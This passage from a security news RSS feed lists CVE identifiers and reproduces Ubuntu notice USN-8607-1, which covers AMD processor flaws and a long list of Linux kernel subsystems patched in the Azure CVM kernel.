CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31637, CVE-2026-31638,
CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646,
CVE-2026-31648, CVE-2026-31649, CVE-2026-31651, CVE-2026-31655,
CVE-2026-31656, CVE-2026-31657, CVE-2026-31658, CVE-2026-31659,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31682,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31685, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31689, CVE-2026-31693, CVE-2026-31694,
CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698,
CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702,
CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707,
CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720,
CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724,
CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729,
CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767,
CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43007, CVE-2026-43011, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43037, CVE-2026-43038,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044,
CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056,
CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060,
CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43071,
CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075,
CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081,
CVE-2026-43082, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088,
CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093,
CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43123, CVE-2026-43124, CVE-2026-43128, CVE-2026-43129,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43137, CVE-2026-43139,
CVE-2026-43140, CVE-2026-43141, CVE-2026-43143, CVE-2026-43145,
CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43150,
CVE-2026-43152, CVE-2026-43153, CVE-2026-43156, CVE-2026-43157,
CVE-2026-43158, CVE-2026-43159, CVE-2026-43162, CVE-2026-43163,
CVE-2026-43167, CVE-2026-43168, CVE-2026-43169, CVE-2026-43170,
CVE-2026-43171, CVE-2026-43173, CVE-2026-43175, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43187, CVE-2026-43189, CVE-2026-43190,
CVE-2026-43194, CVE-2026-43196, CVE-2026-43199, CVE-2026-43200,
CVE-2026-43201, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43212, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43258,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43265,
CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270,
CVE-2026-43271, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43278, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43288, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43297, CVE-2026-43300,
CVE-2026-43302, CVE-2026-43304, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43317,
CVE-2026-43318, CVE-2026-43319, CVE-2026-43320, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43341,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350,
CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360,
CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43378, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43383, CVE-2026-43384, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43414,
CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421,
CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441,
CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455,
CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469,
CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484,
CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492,
CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45847,
CVE-2026-45848, CVE-2026-45849, CVE-2026-45851, CVE-2026-45852,
CVE-2026-45855, CVE-2026-45856, CVE-2026-45857, CVE-2026-45858,
CVE-2026-45859, CVE-2026-45860, CVE-2026-45861, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45865, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45872, CVE-2026-45873, CVE-2026-45875, CVE-2026-45877,
CVE-2026-45878, CVE-2026-45879, CVE-2026-45880, CVE-2026-45881,
CVE-2026-45882, CVE-2026-45883, CVE-2026-45884, CVE-2026-45885,
CVE-2026-45886, CVE-2026-45890, CVE-2026-45891, CVE-2026-45893,
CVE-2026-45895, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45905, CVE-2026-45910, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45913, CVE-2026-45914, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45917, CVE-2026-45919, CVE-2026-45920, CVE-2026-45921,
CVE-2026-45923, CVE-2026-45924, CVE-2026-45928, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45938, CVE-2026-45941, CVE-2026-45942,
CVE-2026-45943, CVE-2026-45946, CVE-2026-45947, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45957, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45962, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45972,
CVE-2026-45973, CVE-2026-45974, CVE-2026-45976, CVE-2026-45978,
CVE-2026-45981, CVE-2026-45982, CVE-2026-45983, CVE-2026-45984,
CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46043,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46135, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200,
CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236,
CVE-2026-46238, CVE-2026-46241, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46246, CVE-2026-46247, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46251, CVE-2026-46253, CVE-2026-46254, CVE-2026-46255,
CVE-2026-46259, CVE-2026-46260, CVE-2026-46261, CVE-2026-46265,
CVE-2026-46266, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285,
CVE-2026-46286, CVE-2026-46287, CVE-2026-46289, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8607-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:40 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
